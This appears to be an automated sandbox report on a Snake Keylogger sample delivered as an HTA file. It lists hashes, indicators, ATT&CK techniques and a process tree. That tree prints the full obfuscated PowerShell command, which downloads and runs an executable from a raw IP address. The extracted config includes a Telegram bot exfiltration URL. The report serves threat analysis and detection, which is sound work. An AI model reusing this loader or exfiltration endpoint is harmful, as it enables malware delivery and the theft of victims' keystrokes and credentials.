snakekeylogger | 7e041a3670abd581eb735dab3a66975fafd7e921bb0f94a36b98829248462f8b

Analysis

max time kernel
16s
max time network
111s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
18-10-2024 02:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7e041a3670abd581eb735dab3a66975fafd7e921bb0f94a36b98829248462f8b.hta
Size

129KB
MD5

7a368478a9772fc6e87e8eda7ec7f7b3
SHA1

237eff7ffb66ca9507fdbd5512506ef4cf81a22d
SHA256

7e041a3670abd581eb735dab3a66975fafd7e921bb0f94a36b98829248462f8b
SHA512

114aa191194efec173adc3ab137eab58454854efa5109da30364b54108a74ccf68b66c659a9609ece5933aa72ab5997f7b93e510e37a51ebed51d903cbc4fe17
SSDEEP

96:Eam73EjaILjaeRVfr+ZqTF1OF3ja3jalHjaj7T:Ea23EuauoVj+IGu3u1uPT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7913958792:AAFOhfKo5L7M50XG6odxxQQwJAeD3zGEuJU/sendMessage?chat_id=7004340450

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/2180-34-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2180-36-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2180-35-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2304	POWERShELl.ExE

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
2304	POWERShELl.ExE
2768	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2144	taskhostws.exe

Loads dropped DLL 1 IoCs

pid	Process
2304	POWERShELl.ExE

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00090000000186ca-26.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2144 set thread context of 2180	2144	taskhostws.exe	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERShELl.ExE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhostws.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2304	POWERShELl.ExE
2768	powershell.exe
2304	POWERShELl.ExE
2304	POWERShELl.ExE
2180	RegSvcs.exe
2180	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2144	taskhostws.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	POWERShELl.ExE
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2180	RegSvcs.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2144	taskhostws.exe
2144	taskhostws.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
2144	taskhostws.exe
2144	taskhostws.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 2304	1744	mshta.exe	29
PID 1744 wrote to memory of 2304	1744	mshta.exe	29
PID 1744 wrote to memory of 2304	1744	mshta.exe	29
PID 1744 wrote to memory of 2304	1744	mshta.exe	29
PID 2304 wrote to memory of 2768	2304	POWERShELl.ExE	31
PID 2304 wrote to memory of 2768	2304	POWERShELl.ExE	31
PID 2304 wrote to memory of 2768	2304	POWERShELl.ExE	31
PID 2304 wrote to memory of 2768	2304	POWERShELl.ExE	31
PID 2304 wrote to memory of 2920	2304	POWERShELl.ExE	32
PID 2304 wrote to memory of 2920	2304	POWERShELl.ExE	32
PID 2304 wrote to memory of 2920	2304	POWERShELl.ExE	32
PID 2304 wrote to memory of 2920	2304	POWERShELl.ExE	32
PID 2920 wrote to memory of 3000	2920	csc.exe	33
PID 2920 wrote to memory of 3000	2920	csc.exe	33
PID 2920 wrote to memory of 3000	2920	csc.exe	33
PID 2920 wrote to memory of 3000	2920	csc.exe	33
PID 2304 wrote to memory of 2144	2304	POWERShELl.ExE	35
PID 2304 wrote to memory of 2144	2304	POWERShELl.ExE	35
PID 2304 wrote to memory of 2144	2304	POWERShELl.ExE	35
PID 2304 wrote to memory of 2144	2304	POWERShELl.ExE	35
PID 2144 wrote to memory of 2180	2144	taskhostws.exe	36
PID 2144 wrote to memory of 2180	2144	taskhostws.exe	36
PID 2144 wrote to memory of 2180	2144	taskhostws.exe	36
PID 2144 wrote to memory of 2180	2144	taskhostws.exe	36
PID 2144 wrote to memory of 2180	2144	taskhostws.exe	36
PID 2144 wrote to memory of 2180	2144	taskhostws.exe	36
PID 2144 wrote to memory of 2180	2144	taskhostws.exe	36
PID 2144 wrote to memory of 2180	2144	taskhostws.exe	36

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\7e041a3670abd581eb735dab3a66975fafd7e921bb0f94a36b98829248462f8b.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\SysWOW64\WINdOWspoWeRsHELL\V1.0\POWERShELl.ExE
  "C:\Windows\SYSTeM32\WINdOWspoWeRsHELL\V1.0\POWERShELl.ExE" "PoWErsHElL -ex bYPass -nop -W 1 -c DEViCEcrEDEntiALDepLOYMEnT ; Iex($(ieX('[sYStEm.tExT.eNcodiNg]'+[char]0X3A+[char]0X3A+'UtF8.GeTstriNG([SySteM.coNverT]'+[chAr]58+[Char]58+'FROmBaSe64STring('+[CHaR]34+'JEdDeWxIWDRPdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CZVJERUZJTkl0SU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQVCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhGeExZSG5NUUosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b3csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3llUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1NeFJ6KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImloRSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElNICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkR0N5bEhYNE91OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMjUvMzAyL3Rhc2tob3N0d3MuZXhlIiwiJGVOdjpBUFBEQVRBXHRhc2tob3N0d3MuZXhlIiwwLDApO1NUQVJ0LVNsZWVwKDMpO3NUYVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHRhc2tob3N0d3MuZXhlIg=='+[chaR]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYPass -nop -W 1 -c DEViCEcrEDEntiALDepLOYMEnT
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2768
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\krvrc2ke.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEF40.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEF2F.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3000
- - C:\Users\Admin\AppData\Roaming\taskhostws.exe
    "C:\Users\Admin\AppData\Roaming\taskhostws.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2144
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Users\Admin\AppData\Roaming\taskhostws.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:2180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESEF40.tmp

Filesize
1KB

MD5
591d9b1d38c04aa28d0aaf3f80c1a44f

SHA1
401306f035955306331cc495fba6efeb0fbebb3f

SHA256
7ad387f339a61b58b26d29831e7587f3fa6cde9f8ca3b07e46dba9bd6374ef46

SHA512
fd35091046bfe932c28b8235416b2b97f343ef5ea90dbc42f94e3e4116169ef26cda887d69ac52ec7f701134f367d9fb51604f4bbbe0d3834cf1b8d96945ac0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\krvrc2ke.dll

Filesize
3KB

MD5
82dcec4165111635ba725d30c68796c5

SHA1
02ed98278d0893717f1dc7ab95967d096845e4ce

SHA256
f56be722b905e00e168debfaec3c73efca47247ba2d5a532c660224066decf7b

SHA512
dae2fc98cd15173d4197f4186aad3824f81b7030c783b29898c43f0caa910ae2753ca47081717c0783684dcf81f5897749d78a9b453e0e87869c73b5a01b449f

Download Submit
C:\Users\Admin\AppData\Local\Temp\krvrc2ke.pdb

Filesize
7KB

MD5
e1fd5be3f4f5a281a62e8fe471aa0734

SHA1
8d389e9140f8a43ce63d678cefbfea416f0c3fa2

SHA256
a5fc2be247f9e426ef1ed1b5305463288c797e8d5bbe7e926cc29d2f833a7977

SHA512
dcc24141c3af45873dd14818f8eebe02e09be9e1736558b979c3247164a16d8b4a32caf27e6eb14b3aaf2cac4e81d08a23886d0173dd761cb3ba7a1bc6e7d7a1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
55c5daecdb555b4074533d45eff9d8eb

SHA1
1322f1d8d7e6aaf2e8e3a4cb34c9d994f19d9355

SHA256
61a97f78af8ab8d56e2c75320fd26cbf2cb99ff5f23154fa8d10ee2fd4fc20cf

SHA512
e81254b6a4588e6eeee2328d1f844252fa7c3c6fe3b21e000f945f546617ec2bbb7873e22c1d739f1cda4aac7260d810a99f32d2553a88d564bb0ade612ceac0

Download Submit
C:\Users\Admin\AppData\Roaming\taskhostws.exe

Filesize
938KB

MD5
b47e4f366b08fe509c2a8f9ee7251f51

SHA1
3338dd3e335d1e8e6ee0d4c0c607248d333c25c1

SHA256
03461c2a07431aed5ff68bbcf42d7ef82f32190b44ba140befd3f474614b5f3d

SHA512
277032b371ca4992657c172995186b4593197a91c784e84b1b5652478d462b84792e8b10480ecf0eb05e4ce4130575c59f0f14d197d4e0d77c70c0bd6989aaec

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCEF2F.tmp

Filesize
652B

MD5
5d4787080385ccf7af22d059a48fc16e

SHA1
bb5b9facbb1b7085b9550c57ddc75d76f8d98ff7

SHA256
bc7e0d643af56a967a2e9c26c2a8307fc951fab908cc16f474bc5335842f54c1

SHA512
8c9072e4df37da12b72191e6122e76819acb9b6b5ac432654b4a0192563600dde485caab8e6b1b32b102687ac44b1839c6ab330b4295fd79963a365aa3771d69

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\krvrc2ke.0.cs

Filesize
460B

MD5
7d449c3b022ff885a410d7d58f117516

SHA1
5a4642c0a7a8745d9aad5243fa3dbdfa42fcd01c

SHA256
d82eab2c4860d52330cd6aefa6051d4b53566de18f6665b1140d59d79fd436e5

SHA512
3683fb94132803f56fbb7188f51c097c59a4c2297cd66e88571836d4b040ae8b15cafee7f2ce747f1cc8326a8144b4e0c262bd954211adc9d65c70f9e8c645d3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\krvrc2ke.cmdline

Filesize
309B

MD5
0e6972d335617c5259196db7bb94622d

SHA1
6e8c95e579fbcca6ed3b5e216511a5eb9d892186

SHA256
a4f383fdd706af9bc90971879814a20aabf047a84bfb4c36df0fca1f86595bdc

SHA512
391cc8ff1dfb0ab8bc16341d71c64584f18fc8a7e19ee451ac7da8b990cef6d46654f3229555ec340058be767dbfc9db0d75e07f3e7e3c38dd5ef79d062ab0e6

Download Submit
memory/2180-34-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2180-36-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2180-35-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download